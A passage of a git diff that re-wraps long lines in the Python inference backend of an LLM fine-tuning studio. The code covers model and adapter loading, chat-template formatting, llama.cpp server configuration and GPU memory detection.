config.is_lora and config.is_local: _meta_path = Path(config.path) / "export_metadata.json" try: @@ -582,7 +601,9 @@ class InferenceBackend: token = hf_token if hf_token and hf_token.strip() else None, trust_remote_code = trust_remote_code, ) - logger.info(f"Loaded {type(processor).__name__} from {processor_source}") + logger.info( + f"Loaded {type(processor).__name__} from {processor_source}" + ) self.models[model_name]["model"] = model self.models[model_name]["tokenizer"] = processor @@ -605,7 +626,9 @@ class InferenceBackend: self.models[model_name]["model"] = model self.models[model_name]["tokenizer"] = tokenizer - raise_if_offloaded(self.models[model_name]["model"], device_map, "Inference") + raise_if_offloaded( + self.models[model_name]["model"], device_map, "Inference" + ) self.models[model_name]["context_length"] = runtime_context_length( self.models[model_name].get("model"), max_seq_length, @@ -654,7 +677,11 @@ class InferenceBackend: import sys as _sys from utils.cache_cleanup import clear_unsloth_compiled_cache - _preserve = ["Unsloth*Trainer.py"] if _sys.platform in ("win32", "darwin") else None + _preserve = ( + ["Unsloth*Trainer.py"] + if _sys.platform in ("win32", "darwin") + else None + ) clear_unsloth_compiled_cache(preserve_patterns = _preserve) logger.info(f"Model '{model_name}' successfully unloaded.") @@ -721,9 +748,13 @@ class InferenceBackend: base_model_name = lora_config.base_model # 1. Load the base model if not already in memory - if base_model_name not in self.models or not self.models[base_model_name].get("model"): + if base_model_name not in self.models or not self.models[ + base_model_name + ].get("model"): logger.info(f"Base model '{base_model_name}' not loaded, loading now.") - base_config = ModelConfig.from_ui_selection(base_model_name, None, is_lora = False) + base_config = ModelConfig.from_ui_selection( + base_model_name, None, is_lora = False + ) if not self.load_model( base_config, max_seq_length, @@ -759,7 +790,9 @@ class InferenceBackend: logger.error(traceback.format_exc()) return False, None, None - def load_adapter(self, base_model_name: str, adapter_path: str, adapter_name: str) -> bool: + def load_adapter( + self, base_model_name: str, adapter_path: str, adapter_name: str + ) -> bool: """Load an adapter onto the model only if not already attached.""" model = self.models[base_model_name].get("model") @@ -830,12 +863,16 @@ class InferenceBackend: ) model.base_model.disable_adapter_layers() else: - logger.info(f"Compare mode: model '{base}' is not a PeftModel, already base") + logger.info( + f"Compare mode: model '{base}' is not a PeftModel, already base" + ) elif use_adapter is True: # Re-enable LoRA layers -> adapter output. if isinstance(model, (PeftModel, PeftModelForCausalLM)): - logger.info(f"Compare mode: enabling adapters on '{base}' for LoRA generation") + logger.info( + f"Compare mode: enabling adapters on '{base}' for LoRA generation" + ) model.base_model.enable_adapter_layers() else: logger.warning("use_adapter=true but model is not a PeftModel") @@ -843,11 +880,15 @@ class InferenceBackend: elif isinstance(use_adapter, str): # Enable adapters and set the named one active. if isinstance(model, (PeftModel, PeftModelForCausalLM)): - logger.info(f"Compare mode: enabling adapter '{use_adapter}' on '{base}'") + logger.info( + f"Compare mode: enabling adapter '{use_adapter}' on '{base}'" + ) model.base_model.enable_adapter_layers() self.set_active_adapter(base, use_adapter) else: - logger.warning(f"use_adapter='{use_adapter}' but model is not a PeftModel") + logger.warning( + f"use_adapter='{use_adapter}' but model is not a PeftModel" + ) def generate_with_adapter_control( self, @@ -1030,7 +1071,8 @@ class InferenceBackend: processor = model_info.get("processor") has_image_processing = processor is not None and ( - isinstance(processor, ProcessorMixin) or hasattr(processor, "image_processor") + isinstance(processor, ProcessorMixin) + or hasattr(processor, "image_processor") ) if has_image_processing: yield from self._generate_vision_response( @@ -1087,9 +1129,13 @@ class InferenceBackend: getattr(_gen_tok, "tokenizer", _gen_tok), ) existing = model_info.get("chat_turn_end_eos_ids") or [] - model_info["chat_turn_end_eos_ids"] = sorted(set(existing) | set(refreshed)) + model_info["chat_turn_end_eos_ids"] = sorted( + set(existing) | set(refreshed) + ) except Exception as e: - logger.warning(f"Could not refresh chat turn-end eos after template: {e}") + logger.warning( + f"Could not refresh chat turn-end eos after template: {e}" + ) else: logger.info( f"No registered Unsloth template for {self.active_model_name}, using tokenizer default" @@ -1099,7 +1145,9 @@ class InferenceBackend: # Step 2: format with tokenizer.apply_chat_template(). if system_prompt: - template_messages = [{"role": "system", "content": system_prompt}] + messages + template_messages = [ + {"role": "system", "content": system_prompt} + ] + messages else: template_messages = messages reasoning_channel_markers_resolved = False @@ -1248,7 +1296,9 @@ class InferenceBackend: else: # Text-only path for a vision model formatted_prompt = self.format_chat_prompt(messages, system_prompt) - inputs = raw_tokenizer(formatted_prompt, return_tensors = "pt").to(model.device) + inputs = raw_tokenizer(formatted_prompt, return_tensors = "pt").to( + model.device + ) prompt_text = formatted_prompt # Stream with TextIteratorStreamer + background thread @@ -1288,7 +1338,9 @@ class InferenceBackend: min_p = min_p, ) # Presence penalty (GGUF parity) for VLM chat. - _vision_input_ids = inputs.get("input_ids") if hasattr(inputs, "get") else None + _vision_input_ids = ( + inputs.get("input_ids") if hasattr(inputs, "get") else None + ) if _vision_input_ids is not None: _pp = _make_presence_penalty_processor( presence_penalty, int(_vision_input_ids.shape[1]) @@ -1298,7 +1350,9 @@ class InferenceBackend: stopping_criteria = self._cancel_stopping_criteria(cancel_event) if stopping_criteria is not None: generation_kwargs["stopping_criteria"] = stopping_criteria - active_stop_token_ids = self._generation_stop_token_ids(model, generation_kwargs) + active_stop_token_ids = self._generation_stop_token_ids( + model, generation_kwargs + ) err: dict[str, str] = {} @@ -1673,7 +1727,9 @@ class InferenceBackend: think_prefix = ( "" if self._is_gpt_oss_model() - else detect_think_prefill(prompt, getattr(tokenizer, "all_special_tokens", None)) + else detect_think_prefill( + prompt, getattr(tokenizer, "all_special_tokens", None) + ) ) streamer = self._make_text_streamer( @@ -1698,12 +1754,15 @@ class InferenceBackend: repetition_penalty = repetition_penalty, do_sample = temperature > 0, # Resolved once at load (chat_template-derived turn-end tokens). - eos_token_id = model_info.get("chat_turn_end_eos_ids") or tokenizer.eos_token_id, + eos_token_id = model_info.get("chat_turn_end_eos_ids") + or tokenizer.eos_token_id, pad_token_id = tokenizer.eos_token_id if tokenizer.pad_token_id is None else tokenizer.pad_token_id, ) - active_stop_token_ids = self._generation_stop_token_ids(model, generation_kwargs) + active_stop_token_ids = self._generation_stop_token_ids( + model, generation_kwargs + ) # Presence penalty (GGUF parity); prompt_len excludes prompt tokens. _pp = _make_presence_penalty_processor( presence_penalty, int(inputs["input_ids"].shape[1]) @@ -1794,7 +1853,9 @@ class InferenceBackend: join_timeout = max(0, cancel_deadline - time.monotonic()) thread.join(timeout = join_timeout) if thread.is_alive(): - logger.warning("Generation thread did not exit after cancel/join timeout") + logger.warning( + "Generation thread did not exit after cancel/join timeout" + ) if err.get("msg"): raise _GenerationThreadError(err["msg"]) @@ -1871,12 +1932,21 @@ class InferenceBackend: raise RuntimeError(f"Unknown audio_type: {audio_type}") def _generate_snac( - self, model, tokenizer, text, temperature, top_p, max_new_tokens, repetition_penalty + self, + model, + tokenizer, + text, + temperature, + top_p, + max_new_tokens, + repetition_penalty, ): """Generate audio using SNAC codec (Orpheus).""" device = model.device start_token = torch.tensor([[128259]], device = device) # START_OF_HUMAN - end_tokens = torch.tensor([[128009, 128260]], device = device) # EOT, END_OF_HUMAN + end_tokens = torch.tensor( + [[128009, 128260]], device = device + ) # EOT, END_OF_HUMAN text_ids = tokenizer(text, return_tensors = "pt").input_ids.to(device) input_ids = torch.cat([start_token, text_ids, end_tokens], dim = 1) attention_mask = torch.ones_like(input_ids) @@ -1900,12 +1970,20 @@ class InferenceBackend: inputs = processor( f"[{speaker_id}]{text}", add_special_tokens = True, return_tensors = "pt" ).to(model.device) - audio_values = model.generate(**inputs, max_new_tokens = max_new_tokens, output_audio = True) + audio_values = model.generate( + **inputs, max_new_tokens = max_new_tokens, output_audio = True + ) return self._audio_codec_manager.decode_csm(audio_values) - def _generate_bicodec(self, model, tokenizer, text, temperature, top_k, max_new_tokens): + def _generate_bicodec( + self, model, tokenizer, text, temperature, top_k, max_new_tokens + ): """Generate audio using BiCodec (Spark-TTS).""" - prompt = "<|task_tts|><|start_content|>" + text + "<|end_content|><|start_global_token|>" + prompt = ( + "<|task_tts|><|start_content|>" + + text + + "<|end_content|><|start_global_token|>" + ) inputs = tokenizer([prompt], return_tensors = "pt").to(model.device) generated = model.generate( **inputs, @@ -1976,7 +2054,9 @@ class InferenceBackend: def __init__(self, penalty: float): self.penalty_last_n = 64 if not isinstance(penalty, float) or penalty <= 0: - raise ValueError(f"`penalty` has to be a positive float, but is {penalty}") + raise ValueError( + f"`penalty` has to be a positive float, but is {penalty}" + ) self.penalty = penalty @torch.no_grad() @@ -2001,8 +2081,12 @@ class InferenceBackend: ) return scores - generation_utils.RepetitionPenaltyLogitsProcessor = RepetitionPenaltyLogitsProcessorPatch - logger.info("Patched RepetitionPenaltyLogitsProcessor with 64-token window for OuteTTS") + generation_utils.RepetitionPenaltyLogitsProcessor = ( + RepetitionPenaltyLogitsProcessorPatch + ) + logger.info( + "Patched RepetitionPenaltyLogitsProcessor with 64-token window for OuteTTS" + ) def _apply_chat_template_for_generation( self, @@ -2044,7 +2128,9 @@ class InferenceBackend: logger.error("Tokenizer not loaded for active model") return "" - chat_template_info = self.models[self.active_model_name].get("chat_template_info", {}) + chat_template_info = self.models[self.active_model_name].get( + "chat_template_info", {} + ) tokenizer = self.models[self.active_model_name]["tokenizer"] tokenizer = getattr(tokenizer, "tokenizer", tokenizer) @@ -2061,7 +2147,9 @@ class InferenceBackend: if role in ["system", "user", "assistant"] and content.strip(): if role == last_role: - logger.debug(f"Skipping consecutive {role} message to maintain alternation") + logger.debug( + f"Skipping consecutive {role} message to maintain alternation" + ) continue if role == "user": @@ -2077,7 +2165,9 @@ class InferenceBackend: continue if chat_messages and chat_messages[-1]["role"] == "assistant": - logger.debug("Removing final assistant message to ensure proper alternation") + logger.debug( + "Removing final assistant message to ensure proper alternation" + ) chat_messages.pop() logger.info(f"Sending {len(chat_messages)} messages to tokenizer:") @@ -2092,7 +2182,10 @@ class InferenceBackend: return formatted_prompt except Exception as e: error_msg = str(e).lower() - if "chat_template is not set" in error_msg or "no template argument" in error_msg: + if ( + "chat_template is not set" in error_msg + or "no template argument" in error_msg + ): logger.info( f"Base model detected - no built-in chat template available, using fallback formatting" ) @@ -2103,7 +2196,9 @@ class InferenceBackend: ) if chat_template_info.get("has_template", False): - logger.info("Falling back to manual template formatting based on detected patterns") + logger.info( + "Falling back to manual template formatting based on detected patterns" + ) template_type = chat_template_info.get("format_type", "generic") manual_prompt = self._format_chat_manual( chat_messages, @@ -2116,7 +2211,9 @@ class InferenceBackend: logger.info("Using generic chat formatting for base model") return self._format_generic_template(chat_messages, {}) - def _format_chat_manual(self, messages: list, template_type: str, special_tokens: dict) -> str: + def _format_chat_manual( + self, messages: list, template_type: str, special_tokens: dict + ) -> str: """Manual chat-formatting fallback when the tokenizer template fails. Args: @@ -2146,7 +2243,9 @@ class InferenceBackend: for msg in messages: role = msg["role"] content = content_to_text(msg["content"]) - formatted += f"<|start_header_id|>{role}<|end_header_id|>\n\n{content}<|eot_id|>" + formatted += ( + f"<|start_header_id|>{role}<|end_header_id|>\n\n{content}<|eot_id|>" + ) formatted += "<|start_header_id|>assistant<|end_header_id|>\n\n" return formatted @@ -2175,8 +2274,13 @@ class InferenceBackend: formatted += f"[INST] {user_content} [/INST]" - if i + 1 < len(conversation) and conversation[i + 1]["role"] == "assistant": - formatted += f" {content_to_text(conversation[i + 1]['content'])}" + if ( + i + 1 < len(conversation) + and conversation[i + 1]["role"] == "assistant" + ): + formatted += ( + f" {content_to_text(conversation[i + 1]['content'])}" + ) i += 2 else: formatted += " " @@ -2362,7 +2466,9 @@ class InferenceBackend: return text.strip() def _load_chat_template_info(self, model_name: str): - if model_name not in self.models or not self.models[model_name].get("tokenizer"): + if model_name not in self.models or not self.models[model_name].get( + "tokenizer" + ): return tokenizer = self.models[model_name]["tokenizer"] @@ -2380,7 +2486,9 @@ class InferenceBackend: # Exact match first model_name_lower = model_name.lower() if model_name_lower in MODEL_TO_TEMPLATE_MAPPER: - chat_template_info["template_name"] = MODEL_TO_TEMPLATE_MAPPER[model_name_lower] + chat_template_info["template_name"] = MODEL_TO_TEMPLATE_MAPPER[ + model_name_lower + ] logger.info( f"Detected template '{chat_template_info['template_name']}' for {model_name} from mapper" ) @@ -2388,13 +2496,17 @@ class InferenceBackend: # Partial match (for variants like model_name-bnb-4bit) for key in MODEL_TO_TEMPLATE_MAPPER: if key in model_name_lower or model_name_lower in key: - chat_template_info["template_name"] = MODEL_TO_TEMPLATE_MAPPER[key] + chat_template_info["template_name"] = MODEL_TO_TEMPLATE_MAPPER[ + key + ] logger.info( f"Detected template '{chat_template_info['template_name']}' for {model_name} (partial match)" ) break except Exception as e: - logger.warning(f"Could not detect template from mapper for {model_name}: {e}") + logger.warning( + f"Could not detect template from mapper for {model_name}: {e}" + ) try: if hasattr(tokenizer, "chat_template") and tokenizer.chat_template: @@ -2403,7 +2515,10 @@ class InferenceBackend: template_str = tokenizer.chat_template.lower() - if "start_header_id" in template_str and "end_header_id" in template_str: + if ( + "start_header_id" in template_str + and "end_header_id" in template_str + ): chat_template_info["format_type"] = "llama3" elif "[inst]" in template_str and "[/inst]" in template_str: chat_template_info["format_type"] = "mistral" @@ -2430,7 +2545,9 @@ class InferenceBackend: chat_template_info["special_tokens"] = special_tokens else: - logger.info(f"No chat template found for {model_name}, will use generic formatting") + logger.info( + f"No chat template found for {model_name}, will use generic formatting" + ) except Exception as e: logger.error(f"Error loading chat template info for {model_name}: {e}") @@ -2442,7 +2559,9 @@ class InferenceBackend: f"Chat template loaded for {model_name}: {chat_template_info['format_type']} format" ) else: - logger.info(f"No built-in chat template for {model_name}, will use generic formatting") + logger.info( + f"No built-in chat template for {model_name}, will use generic formatting" + ) def get_current_model(self) -> Optional[str]: """Currently active model name.""" diff --git a/studio/backend/core/inference/llama_admission.py b/studio/backend/core/inference/llama_admission.py index b6a939c87b..f3e4bc6e99 100644 --- a/studio/backend/core/inference/llama_admission.py +++ b/studio/backend/core/inference/llama_admission.py @@ -81,7 +81,9 @@ def _bool_env(name: str, default: bool) -> bool: return default -def _optional_positive_float_env(name: str, default: Optional[float]) -> Optional[float]: +def _optional_positive_float_env( + name: str, default: Optional[float] +) -> Optional[float]: value = os.environ.get(name) if value is None or not value.strip(): return default @@ -236,7 +238,9 @@ class LlamaAdmissionQueue: self._capacity = 1 self._waiters: Deque[_Waiter] = deque() - def reserve(self, *, capacity: int, config: LlamaAdmissionConfig) -> LlamaAdmissionReservation: + def reserve( + self, *, capacity: int, config: LlamaAdmissionConfig + ) -> LlamaAdmissionReservation: capacity = max(1, int(capacity or 1)) if not config.enabled: return LlamaAdmissionReservation( @@ -332,7 +336,9 @@ class LlamaAdmissionQueue: def _prune_waiters_locked(self) -> None: self._waiters = deque( - waiter for waiter in self._waiters if not waiter.cancelled and not waiter.future.done() + waiter + for waiter in self._waiters + if not waiter.cancelled and not waiter.future.done() ) def _snapshot_locked(self) -> LlamaAdmissionSnapshot: diff --git a/studio/backend/core/inference/llama_cpp.py b/studio/backend/core/inference/llama_cpp.py index 2c7433f7a4..f1669d8471 100644 --- a/studio/backend/core/inference/llama_cpp.py +++ b/studio/backend/core/inference/llama_cpp.py @@ -426,7 +426,12 @@ def _hf_env_offline() -> bool: from utils.models.model_config import _env_offline return _env_offline() except Exception: - return os.environ.get("HF_HUB_OFFLINE", "").strip().lower() in {"1", "true", "yes", "on"} + return os.environ.get("HF_HUB_OFFLINE", "").strip().lower() in { + "1", + "true", + "yes", + "on", + } @contextlib.contextmanager @@ -455,7 +460,9 @@ def _hf_offline_if_dns_dead(): try: - _SLOT_SAVE_MAX_BYTES = int(os.environ.get("UNSLOTH_SLOT_SAVE_MAX_BYTES") or (10 << 30)) + _SLOT_SAVE_MAX_BYTES = int( + os.environ.get("UNSLOTH_SLOT_SAVE_MAX_BYTES") or (10 << 30) + ) except ValueError: _SLOT_SAVE_MAX_BYTES = 10 << 30 @@ -519,7 +526,9 @@ def _period_from_layer_types(layer_types: list) -> Optional[int]: def _swa_entry_from_layer_types(lt) -> Optional[object]: """Period int, or per-layer bool mask, from a transformers ``layer_types`` list.""" if isinstance(lt, list) and lt: - return _period_from_layer_types(lt) or ["full" not in str(t).lower() for t in lt] + return _period_from_layer_types(lt) or [ + "full" not in str(t).lower() for t in lt + ] return None @@ -556,7 +565,9 @@ def _swa_entry_from_config_obj(cfg) -> Optional[object]: return _swa_entry_from_layer_types(getattr(src, "layer_types", None)) -_SWA_PATTERN_SOURCE_RE = re.compile(r"sliding_window_pattern\s*(?::\s*[\w\[\], ]*)?\s*=\s*(\d+)") +_SWA_PATTERN_SOURCE_RE = re.compile( + r"sliding_window_pattern\s*(?::\s*[\w\[\], ]*)?\s*=\s*(\d+)" +) def _resolve_swa_entry_from_transformers(arch: str) -> Optional[object]: @@ -768,7 +779,9 @@ def detect_reasoning_flags( a == "deepseek" and b == "v4" for a, b in zip(segments, segments[1:]) ) if is_dsv4 and "high" not in effort_levels: - effort_levels = sorted(set(effort_levels) | {"high"}, key = _REASONING_EFFORT_SCALE.index) + effort_levels = sorted( + set(effort_levels) | {"high"}, key = _REASONING_EFFORT_SCALE.index + ) # GLM-5.2-style: an enable_thinking on/off gate PLUS a reasoning_effort # level among a discrete set (e.g. 'high' | 'max'). Distinct from # gpt-oss (reasoning_effort only, no on/off gate) and Qwen @@ -841,14 +854,18 @@ def _is_gemma_mtp_family(name: Optional[str]) -> bool: return bool(name) and bool(_GEMMA_MTP_FAMILY_RE.search(name)) -def _is_gemma_mtp_name(model_identifier: Optional[str], gguf_path: Optional[str] = None) -> bool: +def _is_gemma_mtp_name( + model_identifier: Optional[str], gguf_path: Optional[str] = None +) -> bool: """Match Gemma 4 by id or GGUF filename.""" return _is_gemma_mtp_family(model_identifier) or _is_gemma_mtp_family( Path(gguf_path).name if gguf_path else None ) -def _is_mtp_model_name(model_identifier: Optional[str], gguf_path: Optional[str] = None) -> bool: +def _is_mtp_model_name( + model_identifier: Optional[str], gguf_path: Optional[str] = None +) -> bool: """Name-based MTP detector. Fallback for the metadata signal.""" for cand in (model_identifier, Path(gguf_path).name if gguf_path else None): if cand and "-mtp" in cand.lower(): @@ -954,7 +971,10 @@ def _cached_hf_snapshot_file( def _snapshot_has_all_shards( - main_path: str, main_filename: str, shards: Iterable[str], expected_sizes: dict[str, int] + main_path: str, + main_filename: str, + shards: Iterable[str], + expected_sizes: dict[str, int], ) -> bool: """True when every shard sits beside ``main_path`` in the same cache snapshot. @@ -997,7 +1017,10 @@ def _resolve_repo_id_casing(hf_repo: str) -> str: def _cached_colocated_split_main( - repo_id: str, main_filename: str, shards: Iterable[str], expected_sizes: dict[str, int] + repo_id: str, + main_filename: str, + shards: Iterable[str], + expected_sizes: dict[str, int], ) -> Optional[str]: """Main-shard path from a cache snapshot that also holds every sibling shard. @@ -1022,14 +1045,18 @@ def _cached_colocated_split_main( continue except OSError: continue - if _snapshot_has_all_shards(str(main_path), main_filename, shards, expected_sizes): + if _snapshot_has_all_shards( + str(main_path), main_filename, shards, expected_sizes + ): return str(main_path) except Exception as e: logger.debug("Co-located split snapshot lookup failed for %s: %s", repo_id, e) return None -def _cached_variant_resolution(repo_id: str, hf_variant: str) -> tuple[Optional[str], list[str]]: +def _cached_variant_resolution( + repo_id: str, hf_variant: str +) -> tuple[Optional[str], list[str]]: """Find a cached main GGUF and its shards for a variant.""" candidate = next(_cached_variant_candidates(repo_id, hf_variant), None) if candidate is None: @@ -1198,11 +1225,15 @@ def _companion_snapshot_sibling( def _pick_mmproj(candidates: list[str]) -> Optional[str]: mmproj_files = sorted( - f for f in candidates if f.lower().endswith(".gguf") and "mmproj" in Path(f).name.lower() + f + for f in candidates + if f.lower().endswith(".gguf") and "mmproj" in Path(f).name.lower() ) if not mmproj_files: return None - return next((f for f in mmproj_files if f.lower().endswith("-f16.gguf")), mmproj_files[0]) + return next( + (f for f in mmproj_files if f.lower().endswith("-f16.gguf")), mmproj_files[0] + ) def _hub_download_in_flight(hf_repo: str) -> bool: @@ -1343,13 +1374,17 @@ def _gguf_files_for_variant(files: Iterable[str], variant: str) -> list[str]: if _extract_quant_label is not None: try: - exact = sorted(f for f in main_files if _extract_quant_label(f).lower() == variant_key) + exact = sorted( + f for f in main_files if _extract_quant_label(f).lower() == variant_key + ) if exact: return exact except Exception as e: logger.warning("Failed to extract GGUF quant labels: %s", e) - boundary = re.compile(r"(? float: }.get((cache_type or "f16").strip().lower(), 2.0) -def _env_main_cache_type_for_budget(env: Optional[Mapping[str, str]] = None) -> Optional[str]: +def _env_main_cache_type_for_budget( + env: Optional[Mapping[str, str]] = None, +) -> Optional[str]: """Heavier of the inherited LLAMA_ARG_CACHE_TYPE_K/_V env types when it exceeds the f16 default, else None. Unsloth emits --cache-type only for the param/extras path, so a heavier env (f32) would otherwise reach the child @@ -1409,7 +1446,9 @@ def _env_main_cache_type_for_budget(env: Optional[Mapping[str, str]] = None) -> return heaviest -def _extra_args_main_cache_type_for_budget(extra_args: Optional[Iterable[str]]) -> Optional[str]: +def _extra_args_main_cache_type_for_budget( + extra_args: Optional[Iterable[str]], +) -> Optional[str]: """Heavier (max bytes/elem) of the explicit --cache-type-k/-v extras, or None. Extras are appended last and win per axis, so an asymmetric K=f32,V=f16 must be @@ -1475,7 +1514,9 @@ def _extra_arg_flag_name(token: str) -> Optional[str]: return token.split("=", 1)[0] -def _extra_args_set_any_flag(extra_args: Optional[Iterable[str]], flags: Collection[str]) -> bool: +def _extra_args_set_any_flag( + extra_args: Optional[Iterable[str]], flags: Collection[str] +) -> bool: if not extra_args: return False for raw in extra_args: @@ -1530,7 +1571,9 @@ def _extra_args_requests_separate_draft( value = _effective_spec_type(extra_args, env) if not value: return False - return any(p.strip().lower() in ("draft-simple", "draft-eagle3") for p in value.split(",")) + return any( + p.strip().lower() in ("draft-simple", "draft-eagle3") for p in value.split(",") + ) def _extra_args_spec_draft_n_max(extra_args: Optional[Iterable[str]]) -> Optional[int]: @@ -1579,7 +1622,11 @@ def _extra_args_mtp_draft_path( if found is not None: return found e = os.environ if env is None else env - return e.get("LLAMA_ARG_SPEC_DRAFT_MODEL") or e.get("LLAMA_ARG_SPEC_DRAFT_HF_REPO") or None + return ( + e.get("LLAMA_ARG_SPEC_DRAFT_MODEL") + or e.get("LLAMA_ARG_SPEC_DRAFT_HF_REPO") + or None + ) def _extra_args_draft_cache_types( @@ -1620,7 +1667,12 @@ def _extra_args_draft_offloaded_to_cpu( cpu/none, else the LLAMA_ARG_N_GPU_LAYERS_DRAFT env the child honors (the device flag has no env). An embedded MTP head follows the main -ngl, so these draft-only flags don't move it. Last-wins, so only each flag's final value counts.""" - ngl_flags = {"--spec-draft-ngl", "-ngld", "--gpu-layers-draft", "--n-gpu-layers-draft"} + ngl_flags = { + "--spec-draft-ngl", + "-ngld", + "--gpu-layers-draft", + "--n-gpu-layers-draft", + } dev_flags = {"--spec-draft-device", "-devd", "--device-draft"} args = [str(a) for a in extra_args] if extra_args else [] last_ngl: Optional[str] = None @@ -1633,7 +1685,9 @@ def _extra_args_draft_offloaded_to_cpu( elif flag in dev_flags: last_dev = value if last_ngl is None: - last_ngl = (os.environ if env is None else env).get("LLAMA_ARG_N_GPU_LAYERS_DRAFT") + last_ngl = (os.environ if env is None else env).get( + "LLAMA_ARG_N_GPU_LAYERS_DRAFT" + ) if last_ngl is not None: try: if int(last_ngl) == 0: @@ -1825,7 +1879,9 @@ def _llama_lib_dir(binary: str) -> Path: with open(resolved, "rb") as _f: _head = _f.read(256) if _head.startswith(b"#!"): - _m = re.search(r'exec "\$\(dirname "\$0"\)/([^"]+)"', _head.decode("utf-8", "ignore")) + _m = re.search( + r'exec "\$\(dirname "\$0"\)/([^"]+)"', _head.decode("utf-8", "ignore") + ) if _m: return (resolved.parent / _m.group(1)).resolve().parent except OSError: @@ -2340,7 +2396,11 @@ class LlamaCppBackend: # even if the caller sent only reasoning_effort (else the template # defaults it off and the requested level never renders). effort_on = reasoning_effort in self._reasoning_effort_levels - if enable_thinking is not None or reasoning_effort == "none" or effort_on: + if ( + enable_thinking is not None + or reasoning_effort == "none" + or effort_on + ): kwargs["enable_thinking"] = not thinking_off if not thinking_off and effort_on: kwargs["reasoning_effort"] = reasoning_effort @@ -2451,7 +2511,8 @@ class LlamaCppBackend: """ try: return [ - x if math.isfinite(x) and x > 0.0 else 0.0 for x in (float(v) for v in tensor_split) + x if math.isfinite(x) and x > 0.0 else 0.0 + for x in (float(v) for v in tensor_split) ] except (TypeError, ValueError, OverflowError): return [] @@ -2629,7 +2690,9 @@ class LlamaCppBackend: _capability_cache: dict[tuple[str, int], dict[str, object]] = {} @classmethod - def probe_server_capabilities(cls, binary: Optional[str] = None) -> dict[str, object]: + def probe_server_capabilities( + cls, binary: Optional[str] = None + ) -> dict[str, object]: """Parse `llama-server --help` for feature flags. Returns {found, mtp_token, supports_mtp, ngram_mod_flavor, supports_ngram_mod, spec_draft_n_max_flag, cache flag support}. @@ -2717,7 +2780,9 @@ class LlamaCppBackend: # first non-flag token so flag references inside # descriptions are ignored. for tok in re.split(r"[,\s]+", stripped): - if tok.startswith("--") and re.match(r"--[A-Za-z][A-Za-z0-9_-]*$", tok): + if tok.startswith("--") and re.match( + r"--[A-Za-z][A-Za-z0-9_-]*$", tok + ): current_flags.append(tok) elif tok.startswith("-") and len(tok) > 1: # short alias like -fa; keep scanning aliases. @@ -2818,7 +2883,11 @@ class LlamaCppBackend: if m: prefix, _, num_total = m.group(1), m.group(2), m.group(3) sibling_pat = re.compile( - r"^" + re.escape(prefix) + r"-\d{5}-of-" + re.escape(num_total) + r"\.gguf$", + r"^" + + re.escape(prefix) + + r"-\d{5}-of-" + + re.escape(num_total) + + r"\.gguf$", re.IGNORECASE, ) for sibling in main.parent.iterdir(): @@ -2845,7 +2914,9 @@ class LlamaCppBackend: return False for _backend in ("cuda", "hip"): sibling = ( - f"ggml-{_backend}.dll" if sys.platform == "win32" else f"libggml-{_backend}.so" + f"ggml-{_backend}.dll" + if sys.platform == "win32" + else f"libggml-{_backend}.so" ) if (lib_dir / sibling).is_file(): return False @@ -2953,7 +3024,10 @@ class LlamaCppBackend: for ordinal in range(torch.cuda.device_count()): try: _arch = ( - getattr(torch.cuda.get_device_properties(ordinal), "gcnArchName", "") or "" + getattr( + torch.cuda.get_device_properties(ordinal), "gcnArchName", "" + ) + or "" ) except Exception: continue @@ -2963,7 +3037,9 @@ class LlamaCppBackend: else ordinal ) arch_by_id[pid] = _arch.split(":")[0].strip().lower() - for _i in list(gpu_indices) if gpu_indices is not None else list(arch_by_id): + for _i in ( + list(gpu_indices) if gpu_indices is not None else list(arch_by_id) + ): if arch_by_id.get(_i) in {"gfx1150", "gfx1151"}: return True except Exception: @@ -3006,7 +3082,9 @@ class LlamaCppBackend: names_by_id: dict[int, str] = {} for ordinal in range(count): try: - name = (torch.cuda.get_device_properties(ordinal).name or "").lower() + name = ( + torch.cuda.get_device_properties(ordinal).name or "" + ).lower() except Exception: continue pid = ( @@ -3099,7 +3177,9 @@ class LlamaCppBackend: """Query free memory per GPU. Returns ``(gpu_index, free_mib)`` sorted by index; empty if no supported GPU is reachable. Thin wrapper over ``_get_gpu_memory`` for callers that only need free VRAM.""" - return [(idx, free) for idx, free, _total in LlamaCppBackend._get_gpu_memory(binary)] + return [ + (idx, free) for idx, free, _total in LlamaCppBackend._get_gpu_memory(binary) + ] @staticmethod def _apple_metal_memory_budget_bytes() -> int: @@ -3118,7 +3198,9 @@ class LlamaCppBackend: try: import mlx.core as mx if mx.metal.is_available(): - rec_bytes = int(mx.device_info().get("max_recommended_working_set_size") or 0) + rec_bytes = int( + mx.device_info().get("max_recommended_working_set_size") or 0 + ) except Exception: rec_bytes = 0 if rec_bytes <= 0: @@ -3227,7 +3309,9 @@ class LlamaCppBackend: if physical_ids is not None and ordinal < len(physical_ids) else ordinal ) - gpus.append((idx, free_bytes // (1024 * 1024), total_bytes // (1024 * 1024))) + gpus.append( + (idx, free_bytes // (1024 * 1024), total_bytes // (1024 * 1024)) + ) # Match the nvidia-smi path's docstring guarantee of sorted-by-id. return sorted(gpus, key = lambda g: g[0]) except Exception as e: @@ -3235,7 +3319,9 @@ class LlamaCppBackend: return [] @staticmethod - def _get_gpu_free_memory_vulkan(binary: Optional[str] = None) -> list[tuple[int, int, int]]: + def _get_gpu_free_memory_vulkan( + binary: Optional[str] = None, + ) -> list[tuple[int, int, int]]: """Query free (and total) VRAM per device via the bundled ggml Vulkan backend. Loads ``libggml-vulkan`` in a short-lived subprocess (no Vulkan instance @@ -3487,7 +3573,9 @@ class LlamaCppBackend: return key is not None and key in cls._tensor_split_abort_keys @classmethod - def _record_tensor_split_abort(cls, binary: Optional[str], model: Optional[str]) -> None: + def _record_tensor_split_abort( + cls, binary: Optional[str], model: Optional[str] + ) -> None: """Remember a (binary, model) that aborts on --split-mode tensor.""" key = cls._tensor_split_cache_key(binary, model) if key is not None: @@ -3542,7 +3630,9 @@ class LlamaCppBackend: return out @staticmethod - def _build_windows_path_dirs(binary_dir: str, prefix: str, cuda_path: str) -> list[str]: + def _build_windows_path_dirs( + binary_dir: str, prefix: str, cuda_path: str + ) -> list[str]: """Ordered PATH entries prepended so llama-server.exe resolves cudart / cublas DLLs: binary_dir, pip nvidia wheels, CUDA_PATH/bin, .../bin/x64. Extracted so test_windows_gpu_detection_mock tests the real logic. #5106.""" @@ -3601,7 +3691,9 @@ class LlamaCppBackend: import glob as _glob for _nv_pattern in [ - os.path.join(sys.prefix, "lib", "python*", "site-packages", "nvidia", _sub, "lib") + os.path.join( + sys.prefix, "lib", "python*", "site-packages", "nvidia", _sub, "lib" + ) for _sub in ("cu*", "cudnn", "nvjitlink") ]: for _nv_dir in _glob.glob(_nv_pattern): @@ -3622,7 +3714,9 @@ class 